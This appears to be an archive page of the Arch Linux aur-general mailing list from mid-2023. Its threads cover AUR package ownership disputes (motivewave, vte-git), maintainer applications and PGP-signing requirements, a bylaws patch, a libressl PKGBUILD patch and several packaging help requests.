but my opinion is NOT all that matters :) Take care, -- Polarian GPG signature: 0770E5312238C760 Website: https://polarian.dev JID/XMPP: polarian(a)icebound.dev

1 0

How is this package even in AUR?
by GoldenKnightFly 17 Sep '23

17 Sep '23

Hello, how is the `bun-termux` package even in AUR? It's literally a package for Termux, not for Arch Linux. Take a look at the PKGBUILD: mv "${srcdir}/bun-linux-aarch64/bun" "${PREFIX}/bin/bun" It's literally pointing to Termux prefix which is `/data/data/com.termux/files/usr`.

5 7

Need advice on how to address possible conflict with former (no longer existing) AUR package
by Ildar Sagdejev 12 Sep '23

12 Sep '23

I published my first ever AUR package: https://aur.archlinux.org/packages/polyglot-git As per the submission guidelines, I made sure that neither `polyglot` nor `polyglot-git` currently exist in any official repositories or the AUR. Upon publishing my package, I saw that it is listed as optionally required by four other AUR packages, including this one (due to listing `polyglot` as provided in the PKGBUILD): https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=polyglot-winboard-git The package `polyglot` no longer exists, but its PKGBUILD is still available: https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=polyglot As things stand, those four packages will automatically pull in the one I just published as a dependency for no good reason. I'm asking for advice as to which actions it would be most proper to take at this point.

4 4

Problems with AUR packager Xiota and motivewave
by Xavier Baez 06 Sep '23

06 Sep '23

The variable they recommended was build_id but that didn't create a clean makepkg --printsrcinfo > .SRCINFO Here are some of the comments, it's like https://aur.archlinux.org/packages/motivewave#comment-932313 https://aur.archlinux.org/packages/motivewave#comment-932245 https://aur.archlinux.org/packages/motivewave#comment-932340 https://aur.archlinux.org/packages/motivewave#comment-932245 https://aur.archlinux.org/packages/motivewave#comment-932340 Xiota also manages chaotic AUR, so he created an 'issue' where two packages wouldn't be able to exist, so he deleted motivewave and created motivewave-latest-bin Then I got re-uploaded, and within hours he re-deleted me again. He also blocked me from their Git. Then he moved again to AUR motivewave to team up and the comments started again. I would like to know what the rules are, today at Labor Day 3 AM the change requests arrive again, yesterday I had to leave church to come home and do more changes Test the package, was working. I don't want to be forced to use variables or have a permanent code reviewer. Be called incompetent or imply I am dumb and need help. This is in the git and shows how their suggestions actually broke the package. I created my custom variable but the nit picking has not continued. Calling a person non competent, rude, rude, rude. Especially when today the issue has been resolved. Here is how the package broke because code review. commit 1bceb28d1875deb4a303e6f13ee51e1ea86c0011 Author: Xavier Baez <xavierbaez(a)gmail.com> Date: Sun Sep 3 09:12:02 2023 -0700 changes suggested by muflone When .SRCINFO is automatically generated with makepkg the following changes happen in SRCINFO - source = motivewave-6.7.10.deb:: https://downloads.motivewave.com/builds/500/motivewave_.deb + source = motivewave-6.7.10.deb:: https://downloads.motivewave.com/builds/{}/motivewave{6.7.10}_amd64.deb diff --git a/.SRCINFO b/.SRCINFO index e82622d..1dd9db6 100644 --- a/.SRCINFO +++ b/.SRCINFO @@ -1,7 +1,7 @@ pkgbase = motivewave pkgdesc = Advanced trading and charting application. pkgver = 6.7.10 - pkgrel = 3 + pkgrel = 4 url = https://www.motivewave.com arch = x86_64 license = custom @@ -13,7 +13,7 @@ pkgbase = motivewave depends = xorg-xrandr provides = motivewave conflicts = motivewave-latest-bin - source = motivewave-6.7.10.deb:: https://downloads.motivewave.com/builds/500/motivewave_.deb + source = motivewave-6.7.10.deb:: https://downloads.motivewave.com/builds/{}/motivewave{6.7.10}_amd64.deb sha512sums = c97e3bb78236d6ef1ae8581e29b128e6ee512f8241617dbcab5989f3068bfa6bbe9b9c091bb09b238ea891f59e6c12ef13ceee079610f3fc95722c58c4769bb9 -- Regards Xavier

6 6

Re: Problems with AUR packager Xiota and motivewave
by Aaron Liu 05 Sep '23

05 Sep '23

AUR TUs are kinda busy and they don't delete things immediately. I'm not sure why they want you to remove the conflicts before it is deleted but that's not why xiota accused you of incompetence either. Also, please include aur-general in your replies. If your email client has a "reply to list" button use that; if not try using a "reply all" button. On 2023/9/4 18:53, Xavier Baez wrote: > I want to maintain the package. > motivewave-latest-bin was supposed to be deleted yesterday. > > If that package is removed then motivewave wouldn’t have any > conflicting packages. > > motivewave has motivewave-latest-bin listed as conflicts (which is > accurate) > > And motivewave-latest-bin has motivewave listed as conflicts (which is > accurate) > > So today Xiota accused me of incompetence, motivewave indeed conflicts > with motivewave-latest-bin. > > Not following Xiota commands step by step does not make me incompetent. > > Xiota claims the motivewave-latest-bin package will be deleted, but > only after I remove motivewave-latest-bin as a conflict. > > > I wonder what’s the interest in me removing motivewave-latest-bin > first, and why does he even cares about that. > > According to > https://wiki.archlinux.org/title/PKGBUILD#conflicts > > These packages are in conflict. > They have the exact same source. > > > On Mon, Sep 4, 2023 at 3:29 PM Aaron Liu <aaronliu0130(a)gmail.com> wrote: > > I don't see why you're that infuriated. xiota is indeed a bit > combative with language but save for removing `conflicts` their > suggestions all look good. Simply adding the "no same owner" > removes the need for all that find chmod and chown stuff and just > put the conflicting packing name under "conflicts", no need to > make a new variable. > > You can't accuse a suggestion of being wrong if you don't > implement it completely and you already did implement the dynamic > URL in the pkgbuild right; why are you still suggesting that > implementing it breaks the package? It already works albeit > suboptimally because the no-same-owner stuff hasn't been implemented. > > You do not have to maintain this package. Nobody is forcing you to > go back from church or a funeral. Your email seems like you're > nitpicking their admittingly combative language, and I don't see > any nitpicks in the line-by-line review. "Code review" has no > negative connotations. > > On 2023/9/4 15:20, Xavier Baez wrote: >> The variable they recommended was build_id >> but that didn't create a clean >> >> makepkg --printsrcinfo > .SRCINFO >> >> Here are some of the comments, it's like >> >> https://aur.archlinux.org/packages/motivewave#comment-932313 >> https://aur.archlinux.org/packages/motivewave#comment-932245 >> https://aur.archlinux.org/packages/motivewave#comment-932340 >> https://aur.archlinux.org/packages/motivewave#comment-932245 >> https://aur.archlinux.org/packages/motivewave#comment-932340 >> >> Xiota also manages chaotic AUR, so he created an 'issue' where >> two packages wouldn't be able to exist, so he deleted motivewave >> and created motivewave-latest-bin >> >> Then I got re-uploaded, and within hours he re-deleted me again. >> He also blocked me from their Git. >> >> Then he moved again to AUR motivewave to team up and the comments >> started again. >> >> I would like to know what the rules are, today at Labor Day 3 AM >> the change requests arrive again, yesterday I had to leave church >> to come home and do more changes Test the package, was working. >> I don't want to be forced to use variables or have a permanent >> code reviewer. >> Be called incompetent or imply I am dumb and need help. >> >> This is in the git and shows how their suggestions actually broke >> the package. >> I created my custom variable >> >> but the nit picking has not continued. >> >> Calling a person non competent, rude, rude, rude. >> Especially when today the issue has been resolved. >> >> Here is how the package broke because code review. >> >> commit 1bceb28d1875deb4a303e6f13ee51e1ea86c0011 >> Author: Xavier Baez <xavierbaez(a)gmail.com> >> Date: Sun Sep 3 09:12:02 2023 -0700 >> >> changes suggested by muflone >> >> When .SRCINFO is automatically generated with makepkg >> >> the following changes happen in SRCINFO >> - source = >> motivewave-6.7.10.deb::https://downloads.motivewave.com/builds/500/motivewa… >> + source = >> motivewave-6.7.10.deb::https://downloads.motivewave.com/builds/{}/motivewav… >> <https://downloads.motivewave.com/builds/%7B%7D/motivewave%7B6.7.10%7D_amd64…> >> >> diff --git a/.SRCINFO b/.SRCINFO >> index e82622d..1dd9db6 100644 >> --- a/.SRCINFO >> +++ b/.SRCINFO >> @@ -1,7 +1,7 @@ >> pkgbase = motivewave >> pkgdesc = Advanced trading and charting application. >> pkgver = 6.7.10 >> - pkgrel = 3 >> + pkgrel = 4 >> url = https://www.motivewave.com >> arch = x86_64 >> license = custom >> @@ -13,7 +13,7 @@ pkgbase = motivewave >> depends = xorg-xrandr >> provides = motivewave >> conflicts = motivewave-latest-bin >> - source = >> motivewave-6.7.10.deb::https://downloads.motivewave.com/builds/500/motivewa… >> + source = >> motivewave-6.7.10.deb::https://downloads.motivewave.com/builds/{}/motivewav… >> <https://downloads.motivewave.com/builds/%7B%7D/motivewave%7B6.7.10%7D_amd64…> >> sha512sums = >> c97e3bb78236d6ef1ae8581e29b128e6ee512f8241617dbcab5989f3068bfa6bbe9b9c091bb09b238ea891f59e6c12ef13ceee079610f3fc95722c58c4769bb9 >> >> >> -- >> Regards >> >> Xavier >> >>

1 0

Help with AUR
by Xavier Baez 04 Sep '23

04 Sep '23

Hello I would like the community to help and decide on what to do. I am the maintainer of motivewave There is a person that went and created a duplicate motivewave-latest-bin and went and publicly said I am incompetent and insinuated I was stupid. Even today, labor day, when I want to spend time with my 3 kids, I have to be on the computer basically doing code review. During the last 12 days, the package has 1) always compiled and built Now, I was recommended to make some changes source=("${pkgname}-${pkgver}.deb:: https://downloads.motivewave.com/builds/${build_id}/motivewave${pkgver}_amd… ") then: makepkg --printsrcinfo > .SRCINFO But that would break my package. I found a solution with a custom variable, but 1) The other package is not being deleted: motivewave-latest-bin 2) My package is being basically spammed. 3) I am call the spammer I would like the community to let me know if someone recommends you to add code, and the code doesn't work, then why is there a pushover from Xiota to orphan the package. I have also received threads to have my account suspended/deleted but I wake up today at 3:00 AM my phone is beeping again because the person that copied the package, Xiota, cannot stop. -- Regards Xavier

3 2

[PATCH][tu-bylaws] bylaw amendments: switch to gitlab merge requests
by Christian Heusel 04 Sep '23

04 Sep '23

Most of our worflows have moved from mailing lists and patches to merge requests on gitlab. Until now amending the TU Bylaws formally requires sending patches via mail which this amendment intends to replace with merge requests on the gitlab repository. Signed-off-by: Christian Heusel <christian(a)heusel.eu> --- tu-bylaws.adoc | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) diff --git a/tu-bylaws.adoc b/tu-bylaws.adoc index 376d909..70a8a27 100644 --- a/tu-bylaws.adoc +++ b/tu-bylaws.adoc @@ -170,21 +170,10 @@ These bylaws may be amended at any time. A TU must motion for an amendment by sending an announcement to https://mailman.archlinux.org/mailman/listinfo/aur-general[aur-general]. -The message must either contain, or have attached, a Git-formatted patch -against this document which accomplishes the suggested change. The patch should -be based on the master branch of the official -https://gitlab.archlinux.org/archlinux/tu-bylaws.git/[tu-bylaws repository] and should -be sent "inline" (i.e. using `git send-email`) so that other TUs can easily -comment on specific parts. The strings `[PATCH]` and `[tu-bylaws]` should be -included in the subject. `git send-email --annotate` can be used to edit a -patch before sending it to the mailing list. - -Sending multiple patches is generally discouraged and should only be done if no -more than one of the patches are subject for debate (the remaining patches -might be formatting changes or minor wording changes). If multiple patches are -sent as part of one proposal, a cover letter describing the changes must be -included. The `--cover-letter` option of `git send-email` can be used to -achieve this. +The message must contain a link to a merge reqest in the official +https://gitlab.archlinux.org/archlinux/tu-bylaws[tu-bylaws repository] and the +merge request description should contain a meaningful description and +motivation for the change. SVP is commenced at the time of the motion, with a discussion period of 5 days, a quorum of 75%, and a voting period of 7 days. -- 2.42.0

4 12

application as package maintainer - fabiscafe
by Fabian Bornschein 02 Sep '23

02 Sep '23

Hey everyone! My name is Fabian Bornschein, I'm an IT-service-technician from germany and I would like to join the group of package maintainers. Let's start with the lengthy and less exciting parts of my Linux journey. My first Arch installation took place around 2010. I believe it was due to the fact that the other Linux distribution wasn't functioning properly on my new laptop. A few months later, I switched to Kubuntu and stuck with it for several years. During that time, I was heavily involved in designing various components for KDE Plasma such as themes, icons, and more. Thanks to this work and some contributions[0], I was invited to become a founding member of the KDE Visual Design Group[1]. Unfortunately, I didn't contribute much during my time there before eventually moving on. So, around 2015/16-ish, I found my way back to Arch, just to jump ship yet again over to (oh no!) Manjaro. After some time, lots of talks and small contributions, I ended up as the go-to person for maintaining the Radeon+AMDGPU[2]/FGLRX[3] setup scripts. Later on, I took charge of all those setup scripts for open-source drivers through "mhwd". Another project that kept me busy was my re-do of Manjaro's Steam client[4]. In late 2017 or early 2018, I left Manjaro and returned to Arch. However, to this day, I'm still the creator and owner of the Manjaro (Community) Telegram group[5] :P Now that I'm back on Arch, I do help people on various platforms, such as Fedi/Mastodon, Matrix, and Telegram. You can find me using my 'fabiscafe' alias. In the last 2-3 years, I've been working on another project: FCGU. It's an Arch Linux repo for GNOME pre-releases[6]. I started it because testing GNOME pre-releases on Arch was tough, and the AUR wasn't suitable for something as big as GNOME. What began as a personal venture grew when others wanted to test it too. I reached out to find some people who wanted to provide mirrors, and now it's a thing! :) The PKGBUILDs are nowadays on Arch gitlab[7]. In my rare spare time, I try to relax, spend time with family, or simply be with friends. I enjoy Anime/Manga and, of course, a good cup of coffee \o/. So, what do I want to do for Arch? Essentially, it's pretty much the same as what I'm currently doing for FCGU. Jan Alexander Steffens (heftig) asked me (twice already, sorry about that) if I'm willing to help with GNOME in Arch and if I'd like to incorporate the FCGU work into gnome-unstable. I believe it would benefit everyone if Arch could provide official unstable releases of GNOME in a repository. On the flip side, this might also speed up the availability of new stable releases on Arch - and thus, potentially reduce user spam on Reddit. :D So, in a nutshell, I want to: - Offer GNOME unstable releases (beta, rc) in gnome-unstable - Assist in transitioning them to Arch once they become stable versions My sponsors are Jan Alexander Steffens (heftig) and Torsten Keßler (tpkessler). Many thanks to both of you! Now I hope the Manjaro stuff doesn't exclude me directly and thanks for reading all of this. :) Fabian Bornschein - fabiscafe [0] https://jgrulich.cz/2014/02/27/plasma-nm-is-finally-out/ [1] https://wheeldesign.blogspot.com/2014/01/the-visual-design-group-short-intr… [2] https://github.com/manjaro/mhwd-db/commit/2bc57fddcc081ded1d3d701b83f6e7029… [3] https://github.com/manjaro/packages-extra/commit/b867bd3c26f4f3672889d1deac… [4] https://github.com/manjaro/packages-community/pull/252 [5] https://t.me/Manjaro [6] https://codeberg.org/fabiscafe/fcgu [7] https://gitlab.archlinux.org/fabiscafe [aur] https://aur.archlinux.org/account/fabiscafe

5 8

Re: Waterfox G
by Aaron Liu 01 Sep '23

01 Sep '23

Oops, I've sent this to the arch-general mailing list instead! I meant to send this to aur-general, sorry. I guess forwarding it should be fine. On 9/1/23 15:15, Aaron Liu wrote: > Currently, there are 2 packages for the latest Waterfox "current": > waterfox-g-bin and waterfox-current-bin . > > My guess is as follows: This arose from Waterfox changing their > versions from "current" to "G", short for "generation". hawkeye116477, > the maintainer for the former package and former maintainer for the > latter package, decided to create a new package, waterfox-g-bin, for > later releases and keep waterfox-current-bin frozen at the last > release with "current". However, MarsSeed orphaned > waterfox-current-bin through [PRQ#42365] in June and Leo Izen claimed > it and updated it to the latest Waterfox G. > > The current situation is that Waterfox refers to "Waterfox G" as > simply "Waterfox" and both bin packages have the wrong name. What > should be done? > > Also, is it necessary to have both gtk3 and gtk2 as > dependencies? Looking at the PKGBUILDs the only difference between the > packages is waterfox-g-bin disables automatic updates + update > notifications and has the extra profile manager desktop action while > waterfox-current-bin has none of these and has the extra dependency > "nss" (is this necessary?) > > P.S.: I've Bcc'd everybody I've named in this email. I'm new to the > AUR, so tell me if that's not the right thing to do. >

1 0

Best Approach to Resolving AUR-based Dependencies When Testing with Devtools
by Sean Snell 29 Aug '23

29 Aug '23

Hello, I'd like to start testing my PKGBUILD work with devtools prior to pushing my work to the AUR however I rely on packages based in the AUR for dependencies and when I try to use *extra-x86_64-build* in the location of the PKGBUILD it works for a bit but then fails because it can't resolve the AUR-based dependency packages. That makes sense as it's replicating the local *makepkg -s* process, which would also fail if I didn't have those dependencies installed ahead of time. I normally accomplish this with yay <https://aur.archlinux.org/packages/yay> then build the PKGBUILD with *makepkg -s*. How do other AUR maintainers traditionally resolve their AUR-based dependencies when working with devtools? I'm not opposed to using yay with devtools if pulling in an AUR wrapper is appropriate; I'd just like to avoid having to manually install a bunch of dependencies by hand before I'm able to test if my PKGBUILD work is sound. Thanks!

4 3

Applying for maintainer role
by Tomaz Canabrava 16 Aug '23

16 Aug '23

Hello, My name is Tomaz Canabrava, Im a kde developer and mostly focus on Konsole. Other than that, I use arch Linux for the past 10 years, as my only Linux distro. I have experience with packaging (debian, for work) but not on arch, but it’s shell and that thing I can handle :) My sponsors are Gian and Antonio Rojas. This is not gpg signed and I’m sorry for that, but gian and Antonio can also vouch for me as the validity of this email. Best, Tomaz - kde ev member

14 33

AUR package naming for Java packages (was: [PRQ#42786] Deletion Request for autopsy-bin Rejected)
by Chih-Hsuan Yen 05 Aug '23

05 Aug '23

Thank you for bringing this up. Current guidelines for packages using prebuilt binaries, which are added in 2019 [1], are indeed unclear about Java packages. Literally, there is no rule about whether such Java packages should use a package name with "-bin" suffix or not. I propose to require the "-bin" suffix for new Java package using prebuilt binaries while allow existing packages without the "-bin" suffix (i.e., no need to submit deletion/merge requests for them). A modified rule can be: * Packages that use '''prebuilt''' [[wikipedia:Deliverable|deliverables]], when the sources are available, must use the {{ic|-bin}} suffix. An exception to this is with [[Java package guidelines#Java packaging on Arch Linux|Java]], where new Java packages using prebuilt binaries must use the {{ic|-bin}} suffix, while existing such packages without the {{ic|-bin}} suffix are allowed. The AUR should not contain the binary tarball created by makepkg, nor should it contain the filelist. Any opinions? [1] https://wiki.archlinux.org/index.php?diff=572792 Best, Chih-Hsuan Yen (yan12125) ---------- Forwarded message --------- 寄件者： Marcell Meszaros <marcell.meszaros(a)runbox.eu> Date: 2023年7月30日週日下午10:00 Subject: Re: [PRQ#42786] Deletion Request for autopsy-bin Rejected To: Chih-Hsuan Yen <yan12125(a)archlinux.org>, <aur-requests(a)lists.archlinux.org> Cc: <contact(a)lsferreira.net> >autopsy-bin is a better package name for a package built from >binaries. In that case, please kindly revise the AUR submission guidelines, because currently it explicitly mentions Java as an exception to the '-bin' name suffix requirement. [a] " * Packages that use prebuilt deliverables, when the sources are available, must use the -bin suffix. An exception to this is with Java. " [a]: https://wiki.archlinux.org/title/AUR_submission_guidelines#Rules_of_submiss… On 30 July 2023 15:26:43 GMT+02:00, Chih-Hsuan Yen <yan12125(a)archlinux.org> wrote: >Marcell Meszaros <marcell.meszaros(a)runbox.eu> 於 2023年7月30日週日下午6:20寫道： >> >> @yan12125, why did you reject the deletion request for this duplicate? >> >> AUR/autopsy also uses the precompiled Java bytecode as source. >> >> So the two packages are truly duplicates, the only difference is that autopsy-bin is 1 year older and flagged OOD for that period. >> >> On 30 July 2023 11:05:20 GMT+02:00, notify(a)aur.archlinux.org wrote: >> >Request #42786 has been Rejected by yan12125 [1]: >> > >> >> This is a java application so the >> >suffix '-bin' is not necessary anyway. >> > >> >Java packages can be either built from sources or binaries as well. >> > >> >[1] https://aur.archlinux.org/account/yan12125/ > >autopsy-bin is a better package name for a package built from >binaries. Therefore, orphaning and updating autospy-bin is better than >deleting autospy-bin. After that, autospy can be merged into >autospy-bin in case it is not changed to be built from sources. > >Best, > >Chih-Hsuan Yen (yan12125)

3 3

unable to build with makepkg (No such file or directory)
by james smith 29 Jul '23

29 Jul '23

trying to build this https://github.com/matthewq337/auto-fdisk https://bpa.st/H6XQ

5 4

Fwd: Re: unable to build with makepkg (No such file or directory)
by Robin Candau 29 Jul '23

29 Jul '23

Forwarding my answer to the ML -------- Message transféré -------- Sujet : Re: unable to build with makepkg (No such file or directory) Date : Sat, 29 Jul 2023 18:05:03 +0200 De : Robin Candau <antiz(a)archlinux.org> Pour : james smith <cinemassacres(a)gmail.com> Le 29/07/2023 à 17:45, james smith a écrit : > trying to build this https://github.com/matthewq337/auto-fdisk > <https://github.com/matthewq337/auto-fdisk> https://bpa.st/H6XQ > <https://bpa.st/H6XQ> Hi, Can you provide a bit more details? You can provide the output of `makepkg` for instance. On a side note, by quickly looking at your PKGBUILD, I can see a bunch of issue: - Your PKGBUILD seems to build a VCS package. Your pkgname has to reflect that by adopting a `-git` suffix. - The "source." prefix in your pkgver is un-necessary. - Auto-fdisk is licensed under the MIT license so it has to be packaged by the PKGBUILD. See the first bullet point of the related wiki "license" chapter for more details [1]. - The package should depend on `bash` rather than `sh`. For what it's worth, bash being a member of the `base` metapackage [2], you don't even have to list it as a dependency if you prefer, as the `base` metapackage is assumed installed at runtime. - Missing `git` as a makedepends. And, most importantly, why did you fork the upstream project [3] and deliver your fork in the PKGBUILD [4] instead of relying on the actual upstream repo [5] directly? Is there any particular reason for that? [1] https://wiki.archlinux.org/title/PKGBUILD#license [2] https://archlinux.org/packages/core/any/base/ [3] https://github.com/matthewq337/auto-fdisk [4] https://bpa.st/H6XQ#1L7-L7 [5] https://github.com/ivmm/Auto-fdisk -- Regards, Robin Candau / Antiz

1 0

[PATCH] /etc/ld.so.conf.d
by Masato TOYOSHIMA 23 Jul '23

23 Jul '23

add /etc/ld.so.conf.d/libressl.conf --- PKGBUILD | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/PKGBUILD b/PKGBUILD index ec9caae..f3dc5f7 100644 --- a/PKGBUILD +++ b/PKGBUILD @@ -7,7 +7,7 @@ pkgname=libressl pkgver=3.7.3 -pkgrel=1 +pkgrel=2 pkgdesc="Free version of the TLS/crypto stack forked from OpenSSL" arch=(x86_64) url="https://www.libressl.org/" @@ -47,6 +47,9 @@ package() { make DESTDIR="${pkgdir}" install install -Dm644 COPYING -t "${pkgdir}"/usr/share/licenses/${pkgname}/ + mkdir -p "${pkgdir}/etc/ld.so.conf.d" + echo "/usr/lib/libressl" > "${pkgdir}/etc/ld.so.conf.d/libressl.conf" + # Remove symlink man pages that point to OpenSSL ones since the prefix is not accounted for for manlink in $(find -L "${pkgdir}"/usr/share/man/man3/ -type l) ; do -- 2.41.0

1 0

Why are patches submitted via email?
by Adam Labus 18 Jul '23

18 Jul '23

Hi, quick question: Why aren't pull requests made directly on gitlab/somewhere on the site, but instead are sent over email. Even from the human aspect, I think most devs want to track their "ego points" in the form of how many merges they made. Or is it just me who is doing it wrong and I should put patches into comments instead?

5 4

Re: Applying for maintainer role
by Tomaz Canabrava 17 Jul '23

17 Jul '23

Hello Carsten, On Mon, 17 Jul 2023 at 11:41 Carsten Haitzler <raster(a)archlinux.org> wrote: > On Mon, 17 Jul 2023 10:44:37 +0300 Tomaz Canabrava <tcanabrava(a)kde.org> > said: > > > On Mon, 17 Jul 2023 at 10:25 Jonathan Steel <jsteel(a)archlinux.org> > wrote: > > > > > On Sun 16 Jul 2023 at 15:37, Tomaz Canabrava wrote: > > > > I have experience with packaging (debian, for work) but not on arch, > but > > > > it’s shell and that thing I can handle :) > > > > > > Why not show this by maintaining some air packages? > > > > > > Mostly because there is nothing in aur that I use that lacks a > maintainer. > > But I do have a software that is not packaged yet that I can port to aur. > > > > > > > > > > This is not gpg signed and I’m sorry for that, but gian and Antonio > can > > > > also vouch for me as the validity of this email. > > > > > > Why is it not signed? > > > > > > Because I don’t have a gpg key, and when the dkim features on the email > > already are enough to validate that the email I send is from me. > > > > > > > > > > I think you should read https://wiki.archlinux.org/title/Trusted_Users > and > > > re-submit a signed application showing the minimum requirements are > met. > > > > > > I have read the wiki and I have applied to a packager position following > > the wiki rules or explaining why I didn’t follow a part of it, i won’t > > re-apply because that’s a waste of everyone’s time just for the sake of > > ticking boxes. > > > > Summary: > > - [x] known on the opensource community with multiple, and used, > programs > > - [x] packaging experience > > - [ ] aur / arch package experience > > - [x] contributes directly to upstream > > - [ ] signed the mail with gpg > > Then I would reject your application as you don't plan to re-try with a > PGP key > and don't even have one. > > A PGP key is used to show that it was YOU and not someone else that signed > a > package is a basic requirement of maintaining packages on Arch. That has > nothing to do with dkim or email. You'll need a PGP key for other things > and if > you don't have one, you can't maintain packages. Signing your email with a > PGP > key at least shows you have one and can use it for some basic things. As > you're > clear you don't have one and have no intention of showing you do by > re-applying > with a signed email I can't see how you would be able to maintain packages. > > In addition, you don't have any packaging experience on Arch. The first > step > is AUR. Get your feet wet somewhere that is simpler like AUR. I would > suggest > you get some experience there first before you have to deal with submitting > community etc. packages that actually have more layers of work to be done > over > and above what AUR needs, so AUR "work" is like learning the first 50% of > what > is needed. > > I think it'd be great if you did arrange to have a PGP key, showed us you > have > one by signing an application after you've done some AUR packaging for a > bit. > > This is what I did - I maintained some AUR packages for a while then > expanded > the number I work on and eventually applied to maintain more "core" > packages > because I too an am upstream. > > I'm not one of these "I must PGP sign everything" people. I'm not that > security-focused about my utterances by e-mail, but I do see the point of > it > for packaging and I jumped through the hoops to deal with it. > > I get your feeling of "Why bother - it's just an email", but it's a > necessary > component in the packaging pipeline and ecosystem. You're not expected to > be > some PGP guru. You're just expected to be able to sign some package to say > it > was you that packaged it an that requires you do "jump through some hoops" > at > this stage. I hope you'll reconsider. That’s completely understandable. Today I’ll create an aur component for Codevis, a software to visualize large architectures Im developing for the past three years (that just got opensourced) And I’ll also create a GPG key, and sign some email on this thread with it. Best, Tomaz > > > > -- > Carsten Haitzler <raster(a)archlinux.org> >

1 1

nvidia-470xx packages broken and maintainers don't react, how to proceed with this?
by Michael Kogan 09 Jul '23

09 Jul '23

Hello list! Currently the nvidia-470 packages [1] are broken and there is no reaction from the packages' maintainers. They did an absolutely awesome job by keeping the packages alive for a really long time and guaranteed absolutely smooth upgrades, but for some reason they currently don't react to out-of-date requests. The current situation is that the kernel module's compilation is broken, but the package still builds and installs, making the machine fallback to TTY after an update. There seem to be patches in the comments but they are tedious to use in a TTY only environment, so it would be great if some of the guys who provided the patches would be added as co-maintainer such that the patches can be included into the package. Best, Michael [1] https://aur.archlinux.org/packages/nvidia-470xx-dkms

3 4

Fwd: vte-git, vte-common and toxic trolls
by Pellegrino Prevete 05 Jul '23

05 Jul '23

---------- Forwarded message --------- Da: Pellegrino Prevete <pellegrinoprevete(a)gmail.com> Date: mar 4 lug 2023 alle ore 19:56 Subject: Re: vte-git, vte-common and toxic trolls To: Robin Candau <antiz(a)archlinux.org> Il giorno mar 4 lug 2023 alle ore 08:30 Robin Candau <antiz(a)archlinux.org> ha scritto: > Le 04/07/2023 à 03:30, Pellegrino Prevete a écrit : > > Hello, > > Hi, > > upstream ('extra' repo), at some point the vte3 package has been split > into vte-common, vte3 and vte4. > vte3 and vte4 do not conflict and they both depend on vte-common. > > On the aur, the vte3-git package was recently orphaned and was adopted by > that absurd guy I had the misfortune to interact with a couple months ago > already. > > You know, the one who has kept its obscene insults towards me online in > that package comments without any shame. > > So, this person hoards both vte3-git and vte4-git and keeps them > conflicting. > > I've reviewed every comments of the vte3-git and vte4-git AUR package and > I couldn't find the "obscene insults" you're referring to. > If you have legit evidence of such obscene insults, please provide them so > we can act accordingly. > This happened in sushi-git. He has far deleted the original comment but it can still be read in a following message. https://aur.archlinux.org/packages/sushi-git?O=0#comment-913784 The same trusted user (gromit) who is letting him keep his conflicting package, also accepted his orphan request and gave him the package a day after I upgraded it. In general I'd like to say it's really frustrating people on the AUR isn't usually easily aware of the work other users are currently doing on the repository. I am sure xiota would have been way less angry if he could have justified his wait on his own by looking at what I was doing meanwhile. > Now a couple days ago even a trusted user intervened erroneously; I assume > he didn't pay much attention to dates or changes upstream. > > That trusted user didn't intervened erroneously. Merging vte{3,4}-git into > vte-git will actually break the latter as vte-git depends on both of them > [1] [2]. > I am the author of vte-git, so what you say doesn't make sense. vte-git is a package I made to show good will to xiota in correctly splitting the package and it's "broken" because I also sent him patches to apply to make his package non-conflicting (vte3-git shouldn't conflict with vte4-git) and I was waiting for him to apply them; they are in the comments. But at this point I don't think it's useful to discuss it further, so I am gonna adopt the following structure for vte-git to overcome this issue entirely: pkgbase: vte-git pkgname: vte-git -> provides vte4-git, vte4 -> depends on vte-common-git pkgname: vtethree-git -> provides vte3-git, vte3 -> depends on vte-common-git > That and the fact that the latest merge request you made for vte4-git [3] > claims "[...] also maintainership won't be lost with merge." makes me think > that you don't know how merge requests actually works [4]. > > What's happening bothers me to the point I think I'd like to ask two of > you to act as trustees for a TU election round. > > So you basically want to apply as a TU for the sole purpose of having > "enough power" to solve this personal war yourself? > No, I want to apply as TU because I find absurd it is possible for a random user to: - insult me - take a package from me after it with the permission of a TU - adopt a dependency I need to upgrade a package - refusing to upgrade it - reporting and making look like my packages were not working instead all of this without anyone ever referring the patches I sent him, no one saying what the issue is, and overall making me lose a lot of time, so that I have to republish the package entirely to just have a change from upstream brought to the aur. > I don't think "being bothered enough by this to the point you'd like to > apply as a TU" on its own is a legit reason that will get two of us to > consider a sponsoring. > Clearly it's not the main reason to sponsor me for being a TU. > I maintain around 700 packages and I will maintain way more very soon. > > There's no competition here. Maintaining a lot of packages doesn't give > you more "power" or "legitimacy" than another. > Maintaining many (widely used) packages is indeed a great power which gives legitimacy to the one who bears it, because it can be assumed there would be people who would be damaged from a sudden, huge, rogue upgrade. It's more difficult you come to expect that from someone who maintains many packages, works with his real identity and works with many projects. You easily expect that from an contributor you never his name before. > Please, maintain packages you have the time and interest to maintain, not > just for the sake of having "way more very soon". > I am gonna maintain way more packages because I want arch users to enjoy way more packages. I do what I do just because no one else is doing it and I want it sooner. > > To be honest, it's disappointing how this whole story turned into a > personal war at the expense of the legitimacy of the requests. > Actually I still don't understand what's the issue in doing as upstream, which is what I am proposing from the beginning. > Submitting orphan requests for *poor* reasons like "This person shouldn't > maintain this package" without any additional details [5] [6] is not what > orphan requests are for and are a waste of time for moderators that treat > them. > This person shouldn't maintain this package because he complains about inexistent issues and apparently he wants users to keep building the same software two times. > I'd like *both you and xiota* to behave correctly by dropping this > personal war behind and by submitting legitimately motivated requests. > After he insulted me and adopted this toxic behaviour I gave him an hand by preparing for him the vte-git package and the relative packages for him to merge to make everything compatible even if it didn't want to have a single pkgbase. I am still complaining about this user because at this point because no one has really justified the decision of why it should be okay to keep vte3-git and vte4-git overlapping and conflicting. > [1] https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=vte-git#n137 > [2] https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=vte-git#n138 > [3] > https://lists.archlinux.org/archives/list/aur-requests@lists.archlinux.org/… > [4] https://wiki.archlinux.org/title/AUR_submission_guidelines#Merge > [5] > https://lists.archlinux.org/archives/list/aur-requests@lists.archlinux.org/… > [6] > https://lists.archlinux.org/archives/list/aur-requests@lists.archlinux.org/… > > -- > Regards, > Robin Candau / Antiz > >

2 1

take over maintenance of benchmark-git
by Dominic Hamon 05 Jul '23

05 Jul '23

